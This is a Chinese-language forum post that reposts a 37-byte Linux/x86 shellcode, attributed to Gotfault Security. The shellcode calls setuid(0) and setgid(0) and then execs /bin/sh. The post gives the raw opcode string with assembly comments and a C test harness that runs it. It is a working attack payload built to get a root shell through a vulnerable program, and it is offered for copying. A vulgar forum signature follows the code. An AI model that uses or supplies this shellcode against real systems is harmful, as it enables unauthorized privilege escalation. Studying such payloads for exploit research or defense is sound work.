发新话题
打印

linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes

linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes

文章作者:Gotfault Security
复制内容到剪贴板
代码:
/*
* (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL])
* - 37 bytes
* - [email]xgc@gotfault.net[/email]
*
*/

char shellcode[] =

  "\x6a\x17"      // push  $0x17
  "\x58"      // pop   %eax
  "\x31\xdb"      // xor  %ebx, %ebx
  "\xcd\x80"      // int  $0x80

  "\x6a\x2e"      // push  $0x2e  
  "\x58"      // pop  %eax
  "\x53"      // push %ebx
  "\xcd\x80"      // int  $0x80

  "\x31\xd2"      // xor  %edx, %edx
  "\x6a\x0b"      // push  $0xb
  "\x58"      // pop  %eax
  "\x52"      // push  %edx
  "\x68\x2f\x2f\x73\x68"  // push  $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push  $0x6e69622f
  "\x89\xe3"      // mov  %esp, %ebx
  "\x52"      // push  %edx
  "\x53"      // push  %ebx
  "\x89\xe1"      // mov  %esp, %ecx
  "\xcd\x80";      // int  $0x80

int main() {

  int (*f)() = (int(*)())shellcode;
   printf("Length: %u\n", strlen(shellcode));
   f();
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题